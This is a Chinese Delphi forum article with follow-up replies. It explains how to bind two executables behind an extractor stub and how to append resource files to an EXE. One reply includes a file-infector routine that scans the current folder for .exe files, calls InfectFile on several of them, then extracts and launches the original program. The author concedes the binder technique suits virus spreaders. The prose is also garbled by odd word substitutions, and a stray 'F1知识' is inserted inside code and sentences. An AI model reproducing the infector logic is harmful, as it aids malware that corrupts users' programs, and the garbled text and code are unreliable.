================================================== ============================
文件合并器的制作方法
作者:王昊
从想到做文件合并器到现在已经有一个多月了,但是始终没有静下心来想它的实现方法. 昨天看数学看烦了, 我终于忍不住扔开了书,开端着手"文件合并器"的编制.3小时后,终于有了眉目,今天又改了一下.现在终于可以和 各位分享我的喜悦了.我乐意将我的方法写给大家,也盼望各位高手不吝赐教.
先看看我们的目的:编写一个程序A,它能够将两个可执行程序B和C合并在一起,造成
一个新的可执行程序D. 要让用户执行D的时候,相称于同时运行B和C两个程序.
我的开发工具:我现在能够用VB和DELPHI中的任何一个开发这个软件.这次我用的是
DELPHI.假如你须要,也能够用VC或BCB来实现.
下面我用这三个小时中我斟酌的货色为线索来讲讲重要的原理.
一. 我的怀疑.
将两个可以执行的程序合并在一起会变成什么东西?这是我的第一个困惑.要解
决这个问题,首先要学会 如何将两个文件合并在一起.我想到了内存流(MemoryStream),它能极方便的完成这个步骤.假设有两个可执行文件f1, f2.现在要把他们合并在一起.下面给出原代码.
var
strmSource,strmDest:TMemoryStream;
begin
//先读f1
strmSource:=TMemoryStream.Create;
strmSource.loadfromfile(f1);
//拷贝到strmdest
strmDest:=TMemoryStream.Create;
strmDest.copyfrom(strmSource,strmSource.size);
strmSource.clear;
//再读f1
strmSource.loadfromfile(f2);
//拷贝到strmdest
strmDest.seek(strmDest.size,F1知识,soFromBeginning);
strmDest.copyfrom(strmSource,strmSource.size);
strmSource.free;
//这时strmDest里面便是两个文件合并后的内容了.将它保存为文件
strmDest.SaveToFile('dest.exe');
strmDest.free;
end;
我惊奇的发明,执行dest.exe就相当于执行f1!!为了确认,我将原代码中f1和f2的
读入次序对调,得到的新的dest.exe执行居然相称于履行f2!!(此处省略了N个感慨号).我又用同样的方式在f1
的后面增添良多无意思的字节,得到的新的f1运行竟然很正常.现在我们知道了,将两个或者多个可执行文件合并在 一起,得到的新文件执行时只是执行第一个文件.这是十分要害的一步.
二.如何分别?
合并没有问题了,如何分离呢?在晓得原来的两个文件的大小的情形下,这很轻易
作到.假设i1和i2是本来两个文件的大小(字节).合并后的文件是"dest.exe".
var
strmSource,strmDest:TMemoryStream;
Begin
//先读dest.exe
strmSource:=TMemoryStream.Create;
strmSource.loadfromfile('dest.exe');
//拷贝f1到strmdest
strmDest:=TMemoryStream.Create;
strmDest.copyfrom(strmSource,i1);
//保存f1
strmDest.SaveToFile(f1);
strmDest.clear;
//拷贝f2到strmdest
strmSource.seek(i1,soFromBeginning);
strmDest.copyfrom(strmSource,i2);
strmDest.SaveToFile(f2);
strmDest.free;
strmSource.free;
end;
三.总体思路.
在解决了上述问题后,我的总体思路就出来了.假设我给用户的程序是A,它能把
B和C合并起来得到D.那么D存在什么特点呢?D应该至少由三个部门组成(请注意是"至少"):第一部分是一个可
执行的程序,我把它叫做 标准程序S,他能将D的第二部分和第三部分(就是原来的可执行文件B和C)读出来,保存在磁盘上,然后执行他们.但大家看了"如何分离"后应该知道,只有我们知道了B和C的长度时,才干方便的从D中读出他们.而为了使D可以在另一个用户的机子上也可能运行,我认为B和C的长度信息应该保存在D的最后.于是,D应该具备四个部分:
1: S
2: B
3: C
4: 长度信息
那么,既然我给用户的程序是A,那么这里的标准程序又从何而来呢?尺度程序又应当保存在哪里呢?
有两个措施.第一,给用户的程序包括两个文件,一个是A,一个是S.但我感到这样不够爽.于是我用了另一个方法: 将S连在A的后面,成为A'.
于是乎,当用户执行A'时,A'请求用户抉择两个可执行文件B和C.当用户点击确定时,
A'将它自身所带的S与B和C合并起来,构成D.然后,用户便可以执行D了,这时的D并不依附于A'.D执行时,实际上执行的是它的第一部分S,S首先从D的最后取得长度信息,然后根据这些长度信息读出B和C,保存于硬盘上的某个目
录.然后调用ShellExecute执行他们.这样就到达了我们的目标.
那么,长度信息如何定义呢?如何将S连在A的后面呢?S如何完成自身的功能呢?这就是
我下面要讲的.
四.保存长度信息.
我先讲一讲如何把一个字符串写入内存流.其实我自己也不知道如何直接将一个
字符串的内容读到内存流中,于是我采用了先将字符串内容写入一个常设文件中,然后用loadformfile将文件内容读入内存流中.
然而,我们必需知道连接在D后面的长度信息的详细长度,也就是说用多少个字节保
存,能力让S读出长度信息.我考虑再三,决议用32个字节来表示每个文件的长度,固然大多数情况下,文件大小不会超越100M.
看看这里的代码:
var
strmSource,strmDest:TMemoryStream;
s1,s2:string;
f:TextFile;
begin
//先用上面的方法将S和B与C的内容写入strmdest,当初要在strmDest里面添 加长度信息
//假设s1,s2里放有B和C的大小,先把他们变为32个字节.
while length(s1)<32 do
begin
s1:='0'+s1;
end;
while length(s2)<32 do
begin
s2:='0'+s1;
end;
//s1存入文件
assignfile(f,'tmp');
rewrite(f);
try
write(f,s1);
finally
closefile(f);
end;
//文件内容读入strmSource
strmSource:=TMemoryStream.Create;
strmSource.loadfromfile('tmp');
//加到strmDest后面
strmDest.copyfrom(strmSource,strmSource.size);
strmSource.clear;
deletefile('tmp');
//s2存入文件
assignfile(f,'tmp');
rewrite(f);
try
write(f,s2);
finally
closefile(f);
end;
//文件内容读入strmSource
strmSource:=TMemoryStream.Create;
strmSource.loadfromfile('tmp');
//加到strmDest后面
strmDest.copyfrom(strmSource,strmSource.size);
strmSource.free;
deletefile('tmp');
end;
应用代码里的方法,便可将长度信息保存在D的最后了.
五.标准文件.
现在我想大家觉得疑惑的就是标准文件S了,这到底是个什么玩意儿?怎么做它?
其实,咱们在前面已经讲过了,"S首先从D的最后取得长度信息,然后根据这些长度
信息读出B和C,保留于硬盘上的某个目录. 然后调用ShellExecute执行他们".要留神这里的S和D是在一起的,S只不外是D的第一局部.他们的文件名是一样的了.于是就变成了S的功效是从它本身的后面获得长度信息,然后依据这些长度信息读出B跟C,保存于硬盘上的某个目录.而后调用ShellExecute执行他们.我想,详细的办法我前面已经讲的很明白了.只有记住长度信息是分辨用32个
字节表示的就行了.
六.完全步骤
先编写S,然后编写A.再写一个程序E将S和A连接起来,S放在A的后面,成为A'.将A
'发布给用户.
七.注意事项.
这个程序技能性确实很强,然而我以为畸形的人很少会用它.但对那些想散布病毒的人来说,却是一大利器.因而,我在这里要忠告这部分人:制造或披发病毒是违背法律的,将受到法律容许范畴内的
最高处分.请好自为之。
而该程序的思路则有很奇妙的利用。你可以将DLL或其余需要的文件衔接在你的程序后面.让你的程序运行时先解出这些文件。这样就能发布只有一个执行文件的程序了,比拟便利,可以辅助VB程序员宣布伪“绿色软件”
好了,就写到这里。有空我再写点教训出来。
谢谢大家赏脸看我的文章。
我的程序也是给exe加一个文件头,只是论证一下可行性,离病毒那可差的远了:)
Code here:
//routines
procedure CopyStream(Src:TStream;sStartPos:Integer;
Dst:TStream;dStartPos:Integer;Count:Integer);
var
sCurPos,dCurPos:Integer;
begin
sCurPos:=Src.Position;
dCurPos:=Dst.Position;
src.Seek(sStartPos,0);
dst.Seek(dStartPos,0);
dst.CopyFrom(src,Count);
src.Seek(sCurPos,0);
dst.Seek(dCurPos,0);
end;{CopyStream}
function Getmyname:string;
var
cmdline:String;
myname:Array [0..255] of Char;
i,j:integer;
begin
i:=1;j:=0;
cmdline:=GetCommandLine;
while cmdline[i]<>chr(0) do
begin
if cmdline[i]<>'"' then
begin
myname[j]:=cmdline[i];
inc(j);
end;
inc(i);
end;
myname[j-1]:=chr(0);
Result:=strpas(@myname);
end;{Getmyname}
procedure ExtractFile(filename:string);
var
sStream,dStream:TFileStream;
begin
sStream:=TFileStream.Create(Getmyname,fmOpenRead or fmShareDenyNone);
dStream:=TFileStream.Create(filename,fmCreate);
sStream.Seek(HEADERSIZE,0);
dStream.CopyFrom(sStream,sStream.Size-HEADERSIZE);
sStream.Free;
dStream.Free;
end;
//主程序开始
begin
Counter:=2;
if FindFirst('*.exe',faAnyFile,sr)=0 then
begin
InfectFile(sr.Name);
while (FindNext(sr)=0) and (Counter>0) do
begin
if InfectFile(sr.Name) then Dec(Counter);
end;
end;
FindClose(sr);
if ExtractFileName(Getmyname)='headerprj.exe' then exit;
tmpFile:=GetTempFullname;
ExtractFile(tmpFile);
fillstartupinfo(si,SW_SHOWDEFAULT);
CreateProcess(PChar(tmpFile),PChar(tmpFile),nil,ni l,True,0,nil,'.',si,pi);
end.
想将.tex.bmp等类型的文件做成.exe文件。看过人家的软件,心中爱慕,痒痒。谁解析一下?
最好有原代码。c,delphi的都可以。给好多的分分啊 ^_^,我来尝尝?
1.如果只是把一幅图作在文件中.最简单了.把显示图形的代码写好,然后把图形文件
LOATFROMFILE,写到自己程序的最后,在文件尾部把图形数据的出发点标识.OK了.
好比自开释的文件等等,都可以这样做.
2.如果做个单一的装置程序,之有一个exe.文件,方法和上面差未几.只是在标识上要有
必定的格式.比方,最后两个字节是表现有多少个文件,文件信息表的偏移量.
至于文件信息表,可以包含文件在EXE中的偏移量.长度,文件名.这就够了.当然,可以是经由
压缩的数据,解紧缩后savetofile 就行了 .
制作方法:要写两个程序,一个是专门在自己的EXE尾部找数据文件信息.根据商定的已知
格局,轮回读出每个文件的数据,解压缩后savetofile.
一个是制作程序,上个程序做好后,本制作程序把要打包的文件读入内存stream中,
计算好长度后,把每个文件的名字,长度,偏移量,写到解压缩程序的尾部!
制作两个程序:一个主程序,一个辅程序。主程序的作用是往辅程序的尾部添加资源,
即.tex、.bmp等文件。辅程序则负责对这些资源进行处置,如显示、编纂等。以下是
它们的例程。
主程序:
procedure TForm1.FormCreate(Sender: TObject);
var
Target,str:TFilestream;
Size:Integer;
Begin
try
str:=TFileStream.Create('My.bmp',fmOpenRead or fmShareExclusive);
Target := TFilestream.create('d:/Project1.exe', fmOpenWrite or fmShareExclusive);
// d:/Project1.exe 为辅程序
Target.Seek(0,soFromEnd);
//往辅程序的尾部添加资源
Target.CopyFrom(str,0);
Size:=str.Size + Sizeof(Size);
//盘算资源大小,并写入辅程序尾部
Target.WriteBuffer(Size,Sizeof(Size));
finally
Target.Free;
str.Free;
end;
end;
辅程序:
procedure TForm1.FormCreate(Sender: TObject);
var
Source:TFilestream;
str:TMemoryStream;
Size:Integer;
Begin
try
str:=TMemoryStream.Create;
Source := TFilestream.create(Application.ExeName, fmOpenRead or fmShareDenyNone);
Source.Seek(-Sizeof(Size),soFromEnd);
//读出资源大小
Source.ReadBuffer(Size,SizeOf(Size));
//定位到资源的开始位置
Source.Seek(-Size,soFromEnd);
//取出资源并存到文件中
str.CopyFrom(Source,Size - SizeOf(Size));
str.SaveToFile('Temp.bmp');
//显示
Image1.LoadFromFile('Temp.bmp');
Finally
str.Free;
Source.Free;
end;
end;
来自:Lucker, 时间:2000-11-29 13:38:00, ID:406428有一点小过错:Image1.LoadFromFile('Temp.bmp');应改为:
image1.Picture.LoadFromFile('Temp.bmp');
来自:Sachow, 时间:2000-11-29 16:31:00, ID:406564有一点错:
procedure TForm1.Button1Click(Sender: TObject);
var
Source:TFilestream;
str:TMemoryStream;
Size:Integer;
begin
try
str:=TMemoryStream.Create;
Source := TFilestream.create(Application.ExeName, fmOpenRead or fmShareDenyNone);
Source.Seek(-Sizeof(Size),soFromEnd);
//读出资源大小
Source.ReadBuffer(Size,SizeOf(Size));
//定位到资源的开始位置
Source.Seek(-Size,soFromEnd);
//掏出资源并存到文件中
str.CopyFrom(Source,Size - SizeOf(Size));
//上面这一句报错,说是'Stream read error'
//我执行的是被写入了图片的那个执行程序,对吗?
str.SaveToFile('Temp.bmp');
//显示
Image1.Picture.LoadFromFile('Temp.bmp');
Finally
str.Free;
Source.Free;
end;
end;
来自:tinytao, 时光:2000-11-29 18:56:00, ID:406768Sachow:我Test了,代码准确。
上面的报错是由于主程序不向Project1.exe加入.BMP
来自:Sachow, 时间:2000-11-30 10:03:00, ID:407368我已经往“Project1.exe”那个文件里写了一个BMP图片了,只写了一个。
写完后新文件大小=原文件大小+图片大小。
如果我一次写了多个图片(或是其它类型的文件),该怎么读出想要的那一个,而不是
第一个呢?
来自:Sachow, 时间:2000-11-30 11:23:00, ID:407437胜利了!代码是没错的,先前是我本人搞错了。感激lucker,稍后请再拿分
来自:Sachow, 时间:2000-11-30 12:01:00, ID:407481我做了一点小的修改,就是不需要文件交流进程,直接从流中读出图片,
但也有一点不足是只能处理BMP。
procedure TForm1.Button1Click(Sender: TObject);
var
Source:TFilestream;
Size:Integer;
begin
Source := TFilestream.create(Application.ExeName, fmOpenRead or fmShareDenyNone);
Source.Seek(-Sizeof(Size),soFromEnd);
//读出资源大小
Source.ReadBuffer(Size,SizeOf(Size));
//定位到资源的开始位置
Source.Seek(-Size,soFromEnd);
Image1.Picture.Bitmap.LoadFromStream(Source);
Source.Free;
end;
来自:Lucker, 时间:2000-11-30 12:19:00, ID:407510to Sachow:
当然,F1知识,上面的程序只是基本,但加以裁减。你就可以实现往Project1.exe中加入任意庞杂的
数据,方法如下(实在也是压缩程序的原理之一):
首先你得定义两个记录:
TFileRec = record
name : shortstring;
start : longint;
Size:Longint;
end;
TArchiveRec = record
FileCount:longint;
end;
TFileRec 用于记录每个文件的信息,F1知识。(以上两个记录的具体内容可自定,但必须能确定
记载的大小,也即不能在记录中有string类型等不能确定大小的字段),
TArchiveRec 用于记录插入文件的总个数。
往Project1.exe中添加资源时,可按照以上的方法进行,即把资源的数据一个一个地往
Project1.exe的尾部增加.但在加入一个资源之前,你必须先得到当前的地位(可通过
Target.Size或先移到Target的尾部,再通过Position属性得到),然后写入该文件对应
的TFileRec记录的Start字段,用于记录该资源在Project1.exe中的起始位置,在加入全体
资源当前,你再设置TArchiveRec记载的FileCount字段,然后按参加资源的顺序往Project1.exe
尾部写入对应的TFileRec,最后再写入TArchiveRec记录。从而完成了添加资源操作。
在Project1.exe中读资源时,要先在Project1.exe的尾部读出TArchiveRec记录以得到资源的
个数,然后再根据资源的个数顺次读出TFileRec记录,从而得到每个文件的Start等信息,
这样就可以正确地读出每个资源的数据了。之所以可以这样读,是因为TArchiveRec和TFileRec记录
的大小是可以断定的(通过Sizeof函数),所以你可以正肯定位。
其实这种程序的难点就是如何定位,只要实现了正确定位,那所有就OK了。
通常在Delphi的运用程序中,我们会调用到许多的资源,例如图片,动画(AVI),声音,甚至于别的执行文件。当然,把这些资源散布到不同的目录不失为一个好方法,但是有没有可能把这些资源编译成标准的windows资源从而链接到一个执行文件里面呢?
我们可以自己做一个RC文件,例如 sample.rc ,RC文件其实就是一个资源文件的描写文本,通过“记事本”程序创立就行了。然后可以输入一些我们要定义的资源,例如:
来自:zyy04, 时间:2001-2-4 14:51:00, ID:448476请持续或停止
来自:beta, 时间:2001-2-5 2:57:00, ID:448996这样做做出来的都太大了(濒临200K),不符和原意吧,不如做一个不必Form的主程序,
才2xK罢了,只是不能用流 格式了,可以用经典的 assignfile 啊
另外,用添加资源的方法,帮助程序不是要调用dcc32 ?麻烦,何况,小的主程序又
不能用流 格式读取资源,不如原样追加更好一些(因为我做过:-p)
来自:sun77wind, 时间:2001-2-5 8:47:00, ID:449068没那么麻烦吧,用一个RichEdit,将Text内容输入进去,一编译,就行了。
用image在设计期将.bmp调入,编译,运行,就可以不要原文件了,岂不简略。